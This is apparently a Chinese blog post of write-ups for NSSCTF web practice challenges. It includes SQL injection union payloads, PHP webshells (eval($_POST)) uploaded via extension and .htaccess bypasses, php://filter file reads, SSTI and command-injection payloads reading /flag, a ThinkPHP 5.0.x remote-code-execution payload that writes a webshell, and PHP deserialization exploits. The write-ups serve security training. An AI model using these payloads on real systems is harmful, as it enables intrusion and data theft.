NSSCTF web做题记录

[SWPUCTF 2021 新生赛]gift_F12

打开链接直接F12在源码中搜索flag即可

[SWPUCTF 2021 新生赛]easy_md5

打开地址显示php代码

此题目考察内容是==的弱类型比较,同时name是get型传参,password为post传参

方法一: 可以使用带0e开头的数字穿进行传递参数,因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;
方法二: 可以传递数组,如name[]=1,password[]=2,md5不能加密数组,故两个md5返回的都是null

另:若遇到===这样的强类型比较,方法一就失效了,方法二仍然有效

注:md5值为0e开头的数字

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708 
0e462097431906509019562988736854
314282422 
0e990995504821699494520356953734
571579406 
0e972379832854295224118025748221
903251147 
0e174510503823932942361353209384
1110242161 
0e435874558488625891324861198103
1320830526 
0e912095958985483346995414060832
1586264293 
0e622743671155995737639662718498
2302756269 
0e250566888497473798724426794462
2427435592 
0e067696952328669732475498472343
2653531602 
0e877487522341544758028810610885
3293867441 
0e471001201303602543921144570260
3295421201 
0e703870333002232681239618856220
3465814713 
0e258631645650999664521705537122
3524854780 
0e507419062489887827087815735195
3908336290 
0e807624498959190415881248245271
4011627063 
0e485805687034439905938362701775
4775635065 
0e998212089946640967599450361168
4790555361 
0e643442214660994430134492464512
5432453531 
0e512318699085881630861890526097
5579679820 
0e877622011730221803461740184915
5585393579 
0e664357355382305805992765337023
6376552501 
0e165886706997482187870215578015
7124129977 
0e500007361044747804682122060876
7197546197 
0e915188576072469101457315675502
7656486157 
0e451569119711843337267091732412
QLTHNDT 
0e405967825401955372549139051580
QNKCDZO 
0e830400451993494058024219903391
EEIZDOI 
0e782601363539291779881938479162
TUFEPMC 
0e839407194569345277863905212547
UTIPEZQ 
0e382098788231234954670291303879
UYXFLOI 
0e552539585246568817348686838809
IHKFRNS 
0e256160682445802696926137988570
PJNPDWY 
0e291529052894702774557631701704
ABJIHVY 
0e755264355178451322893275696586
DQWRASX 
0e742373665639232907775599582643
DYAXWCA 
0e424759758842488633464374063001
GEGHBXL 
0e248776895502908863709684713578
GGHMVOE 
0e362766013028313274586933780773
GZECLQZ 
0e537612333747236407713628225676
NWWKITQ 
0e763082070976038347657360817689
NOOPCJF 
0e818888003657176127862245791911
MAUXXQC 
0e478478466848439040434801845361
MMHUWUV 
0e701732711630150438129209816536

0e215962017

0e291242476940776845150308577824

[SWPUCTF 2021 新生赛]include

打开页面提示传入一个file试试,随便传入一个file=1

发现php代码中传入一个参数file,flag藏在flag.php当中,利用php伪协议构造payload,即可获base64加密后的flag

?flie=php://filter/read=convert.base64-encode/resource=flag.php

[SWPUCTF 2021 新生赛]Do_you_know_http 

打开页面提示Please use 'WLLM' browser!,利用burp抓包将浏览器修改为WLLM

修改后location处提示./a.php,在GET请求处更改 

根据提示添加X-Forwarded-For:127.0.0.1

根据提示修改请求地址即可获得flag 

[第五空间 2021]WebFTP

发现有phpinfo.php,访问在页面里CTRL+F直接搜索flag 

 [SWPUCTF 2021 新生赛]easyupload2.0

打开页面尝试上传有一句话木马的php文件,提示php是不行的,用burp抓包尝试修改后缀 

php3,php4,php5,pht,phtml都是php可运行的文件扩展名,可以进行尝试,本题当中pht和phtml都可以

[SWPUCTF 2021 新生赛]easyupload1.0

打开页面尝试上传有一句话木马的php文件,提示想啥呢,改为上传内容为一句话木马的jpg

提示上传成功,再将jpg后缀改为php重新上传,用蚁剑进行连接 

发现假的falg,将jpg内容改为phpinfo()后重复上述步骤,在网页中访问 

[SWPUCTF 2021 新生赛]easy_sql 

方法一 :sqlmap注入

由于此题是get型传参,使用sqlmap时需将参数写入url中,若为post型传参,语句应写为sqlmap -u "URL" --data "wllm=1" --dbs

  

方法二:union联合注入(报错注入此题也可以使用,不在此演示)

判断出为字符型注入 ,接下来看有多少字段值

 wllm=1' order by 4%23 

提示 Unknown column '4' in 'order clause',改为3后回显正常,接下来进行回显位的判读,注意此时参数的值需要为数据库中不存在的

wllm=-1' union select 1,2,3%23

 回显位为2,3,获取数据库名

wllm=-1' union select 1,2,database()%23

 数据库名为test_db,接下来获取表名

wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

表名为test_tb,接下来获取列名,注意加双引号,group_concat也可用limit 1,1替换

wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb' %23 

列名为 id,flag,获取flag列中的内容即可

wllm=-1' union select 1,2,flag from test_tb %23

 [SWPUCTF 2021 新生赛]caidao

直接用蚁剑进行连接,连接密码为wllm 

在根目录下找到flag

 [SWPUCTF 2021 新生赛]PseudoProtocols

打开提示hint.php,尝试直接访问hint.php,发现能够访问证明该页面存在,尝试用伪协议读取其中的内容 

wllm=php://filter/read=convert.base64-encode/resource=hint.php 

 经过base64解码得到<?php//go to /test2222222222222.php?>,访问test2222222222222.php

file_get_contents($a,'r')这里是将文件的内容读取到字符串中,故直接用传参是不行的,要利用php://input,构造payload

a=php://input

用hackbar传入I want flag

 [NCTF 2018]签到题

burp抓包发现有两条请求,都发送到repeater,可以发现URL=/的这条发送后在响应的cookie中就是flag

[LitCTF 2023]导弹迷踪 

flag在game.js中

[BJDCTF 2020]easy_md5 

尝试输入内容用burp抓包发现hint

hint: select * from 'admin' where password=md5($pass,true) 

考察内容为MD5函数的用法,采用万能密码ffifdyop,进入第二关(此处原理参考https://www.***blogs.***/yesec/p/12535534.html)

 

弱比较采用md5值相同的a,b即可 

强比较用数组即可 

 [NSSCTF 2022 Spring Recruit]ezgame

 [SWPUCTF 2021 新生赛]error

   

[LitCTF 2023]Follow me and hack me 

 [LitCTF 2023]Ping

查看根目录下的内容

 查看flag中的内容

[SWPUCTF 2021 新生赛]easyupload3.0 

尝试上传php文件发现失败,尝试上传.hta***ess文件

 接着上传hack.jpg

 用蚁剑进行连接并在目录中找到flag

[SWPUCTF 2021 新生赛]sql 

尝试使用union注入,根据提示发现有字符被过滤 ,经过测试发现空格被过滤

测出回显位,获取数据库名称 test_db

wllm=-1'/**/union/**/select/**/1,2,3%23
wllm=-1'/**/union/**/select/**/1,2,database()%23

在获取表名的过程中发现有字符被过滤尝试后发现为=,用like进行替换 ,获取表名为LTLT_flag,users

wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23 

 获取列名和获取flag

wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

 wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23

 发现flag被截断,用substr函数获取剩余的flag,发现被过滤,尝试mid

[LitCTF 2023]1zjs 

开始搜索flag,NSSCTF没有发现内容,尝试搜索php

打开后发现为JSFuck加密,解密后去掉[]得到flag

[SWPUCTF 2022 新生赛]ez_ez_php 

尝试用伪协议读取flag.php中的内容 

?file=php://filter/read=convert.base64-encode/resource=flag.php 

 flag在flag中再次读取即可

 [LitCTF 2023]作业管理系统

F12在源码中找到默认账号和密码,登录

登录后上传一句话木马

<?php 
phpinfo();
@eval($_POST['a']);
?> 

上传后访问hack.php发现成功,用蚁剑连接在根目录中找到flag

 [鹏城杯 2022]简单包含

尝试用为协议读取一下index.php中的内容 ,解码后得到waf要求

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

 发现需要长度大于800,也就是我输入的字符串要有800个字符才能读取到,那么我们可以使用&符号构造一条语句

a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php 

得到flag

 [UUCTF 2022 新生赛]websign

右键和F12都被禁用,手动打开edge浏览器的开发者工具即可

[HDCTF 2023]Wel***e To HDCTF 2023

有点抽象,等了一会flag自动弹出来了

在代码里找到这个,直接控制台输入alert(seeeeeeeecret),即会弹出flag

 [LitCTF 2023]Http pro max plus

开始提示只允许本地访问,尝试添加XFF,发现被嘲讽

尝试换为client-ip:127.0.0.1 

根据Referer 

 添加via: Clash.win ,提示:借一步说话--->>  /wtfwtfwtfwtf.php,访问后F12提示:你就冲吧,什么都冲只会害了你自己 bdy好康的在 /sejishikong.php

[NSSCTF 2022 Spring Recruit]babyphp

先过第一个if,需要a不含数字而且intval取整数,官方对intval的解释是

通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。

echo intval(array()); // 0

echo intval(array('foo', 'bar')); // 1

用数组即可绕过,构造payload

a[]=1&b1[]=1&b2[]=2&c1=QLTHNDT&c2=QNKCDZO

[GDOUCTF 2023]EZ WEB 

F12访问/src

 需要访问/super-secret-route-nobody-will-guess,且要求方式为put,利用burp抓包更改即可获得flag

[HNCTF 2022 Week1]Interesting_include 

preg_match过滤了filter=flag,所以采取伪协议读取即可

 ?filter=php://filter/read=convert.base64-encode/resource=flag.php

 [GDOUCTF 2023]泄露的伪装

尝试dirseach扫描一下 ,发现  - /test.txt和- /www.rar,访问www.rar,解压后提示

turn to /orzorz.php

file_get_contents()函数 利用伪协议即可

[HNCTF 2022 Week1]2048 

 [CIS*** 2019华东南]Web11

 右上角有current IP:113.140.3.78,最下面提示:bulid with smarty,尝试用burp抓包添加XFF

发现存在SSTi注入 ,尝试查看当前目录和根目录下的文件,发现flag在根目录中

[UUCTF 2022 新生赛]ez_rce 

 过滤了很多字符,考察反引号``有执行命令的作用,构造payload

/?code=printf(`l\s /`); 

发现根目录下内容有:bin boot dev etc fffffffffflagafag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var  查看fffffffffflagafag中的内容

/?code=printf(`c\at /fffffffffflagafag`);

 [NISACTF 2022]babyupload

F12查看访问/source获得一个www.zip解压后得到app.py

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.***mit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

后端代码的逻辑如下:上传的文件不能有后缀名,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。再通过/file/uuid访问文件,通过查询数据库得到对应文件名,在文件名前拼接uploads/后读取该路径下上传的文件。但肯定要想如何读取 flag 文件,在文件名前被uploads/拼接意味着只能读取上传后的文件,而且上传的文件没有后缀名,不能直接利用,但os.path.join()函数存在绝对路径拼接漏洞

绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

由此,当上传的文件名为 /flag ,上传后通过uuid访问文件后,查询到的文件名是 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。上传文件,用burp将filenam改为/flag

 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)

payload=?file=php://filter/read=convert.base64-encode/resource=flag.php

根据提示flag在 /flag中,再用伪协议读一遍即可

[HNCTF 2022 Week1]easy_html 

提示我的饼干中好像有什么东西,访问/f14g.php

发现只能输入10位用burp抓包输入11位数据即可获得flag

[LitCTF 2023]这是什么?SQL !注一下 !

payload=1)))))) order by 2#

payload=-1)))))) union select 1,2#   1的回显是正常的

payload=-1)))))) union select schema_name,2 from information_schema.schemata# 经过尝试发现flag在ctftraining中

payload=-1)))))) union select table_name,2 from information_schema.tables where table_schema="ctftraining"#

payload=-1)))))) union select column_name,2 from information_schema.columns where table_name="flag"#

payload=-1)))))) union select flag,2 from ctftraining.flag# 记得加上在那个数据库中,不然会爆错

 

[HDCTF 2023]SearchMaster

提示可以上传data,猜参数为data,用hackbar传入data={7*7},发现回显正确,存在SSTI注入

 查看根目录下的内容,找到flag.   data={system('cat /flag_13_searchmaster')}

[NISACTF 2022]midlevel

看到显示current IP,提示XFF,用burp抓包尝试添加发现存在ssti

 找到flag

 [GXYCTF 2019]BabyUpload

尝试先上传hack.php发现提示后缀不能有ph,故想到可以上传.hta***ess文件来解析php后缀

利用burp抓包先上传.hta***ess,再上传hack.jpg

提示上传类型太露骨了,将上传类型改为image/jpeg,成功绕过

 用<script language="php"></script>绕过php,使用蚁剑连接 http://node4.anna.nssctf.***:28520/upload/a4fe80ffe4d2527d7b2289e745722e32/hack.jpg

 

[羊城杯 2020]easycon 

 打开后没找到有用的信息尝试dirsearch扫描一下,发现了index.php,访问后提示eval post cmd,传入cmd=system("ls");查看当前目录下的文件,发现一个bbbbbbbbb.txt,读取后获得一大串加密后的数据,放到cyberchef发现是一张图片,flag在图片中

[NISACTF 2022]bingdundun~ 

将hack.php压缩为zip上传hack.zip 

利用phar://去读取压缩包内容,phar:// 主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击,注意要加上压缩包里面的文件名

读取成功后利用蚁剑连接 ,flag在根目录中

[SWPUCTF 2022 新生赛]奇妙的MD5

传入特殊的md5字符串,ffifdyop

传入x[]=1&y[]=2绕过 

传入wqh[]=1&dsy[]=2绕过 

[GDOUCTF 2023]受不了一点

代码检查`$_GET['flag']`和`$_POST['flag']`是否被设置。如果满足这个条件,就分别返回`$give`和`$get`的值,并结束脚本的执行。接下来,使用两个`foreach`循环遍历`$_POST`和`$_GET`数组,$$key用于创建与数组键名相同的变量,变量值为数组的值。`$key`和`$value`分别代表数组元素的键和值。每次循环,`$key`和`$value`会被分别赋值为当前数组元素的键和值。

最后,代码输出`$flag`的值。但是前面并没有设定flag结合foreach循环和前面判断语句的含义,这里是要传参一个flag=flag才回回显最终的flag信息,但是这里有对flag的传参进行了限制,但是也只对flag的传参进行了限制也就是说,对于其他变量的传参并没有做任何限制,那么我们可以先将另一个变量的参数设置为flag,再赋值给flag变量作为flag变量的参数$a=flag&flag=$a

[SWPUCTF 2022 新生赛]ez_rce

 diresearch发现robots.txt,访问后提示/NSS/index.php

Think PHP漏洞总结(全系列) - lingzhi_sec - 博客园 (***blogs.***)

去找 5.0.x 版本的 payload ,此时已经在当前目录下写入了一个 eval.php 文件,用蚁剑连接即可

payload=/NSS/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=eval.php&vars[1][]=<?php eval($_POST['cmd']);?>

flag在/nss/ctf/flag中 

[HNCTF 2022 Week1]What is Web

 base64解码后得到flag

[HNCTF 2022 Week1]Interesting_http

尝试猜测参数为want ,随便传入内容 ,传入flag后提示需要为admin,后根据提示修改cookie添加XFF

[SWPUCTF 2021 新生赛]ez_unserialize

dirsearch扫描一下发现有robots.txt,打开后提示/cl45s.php

通过代码审计发现admin的值和passwd值需要修改为admin和ctf才能包含flag,再将wllm反序列化 

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

    public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p =new wllm();
$p->admin='admin';
$p->passwd='ctf';
echo serialize($p);

[SWPUCTF 2021 新生赛]no_wakeup

先进行序列化

<?php
class HaHaHa{


    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

    public function __wakeup(){
        $this->passwd = sha1($this->passwd);
    }

    public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "wllm"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->passwd;
            echo "No wake up";
        }
    }
}

$p =new HaHaHa();
$p->admin='admin';
$p->passwd='wllm';
echo serialize($p);

payload:p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

输入后没有回显flag

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行,将表述数据量的2改为3即可绕过__wakeup函数,最终payload为

payload:p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[SWPUCTF 2022 新生赛]1z_unserialize

给出exp,nss需要用post传参 

<?php

class lyh
{
    public $url = 'NSSCTF.***';
    public $lt;
    public $lly;
}

$a= new lyh();
$a->lt='system';
$a->lly='ls /';

echo(serialize($a));

最后payload为nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.***";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

[SWPUCTF 2022 新生赛]where_am_i

提示11位,盲猜电话号码,再根据图片提示可能与酒店位置有关,Google识图后找到酒店电话02886112888

 [MoeCTF 2022]baby_file

开始以为文件名是secret.php用伪协议读取后没有找到,后来用dirsearch扫描后发现是flag.php,废话不多说直接payload

 file=php://filter/read=convert.base64-encode/resource=flag.php

[WUSTCTF 2020]朴实无华 

开始只有提示hack me,看页面名字人间极乐bot盲猜robots.txt,dirsearch扫出来确实也是,访问提示/fAke_f1agggg.php,访问发现是假的flag,尝试burp抓包发现在/fl4g.php

第一关是对intval函数的考察, 第二关是弱比较考察

?num=9e9&md5=0e215962017&get_flag=ls$IFS$9/ 在根目录下没找到尝试当前目录

发现fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag ,用tac绕过cat

num=9e9&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

 [SWPUCTF 2022 新生赛]js_sign

dGFwY29kZQ==解码为tapcode 

 [SWPUCTF 2022 新生赛]xff

根据提示先添加XFF,后又提示需要从home页面访问,再添加Referer即可

 [NSSRound#1 Basic]basic_check

开始用dirsearch没有发现任何东西,尝试用nikto扫描,提示PUT方式可以

 用put方法上传一句话木马,并用蚁剑进行连接

转载请说明出处内容投诉
CSS教程_站长资源网 » NSSCTF web做题记录

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买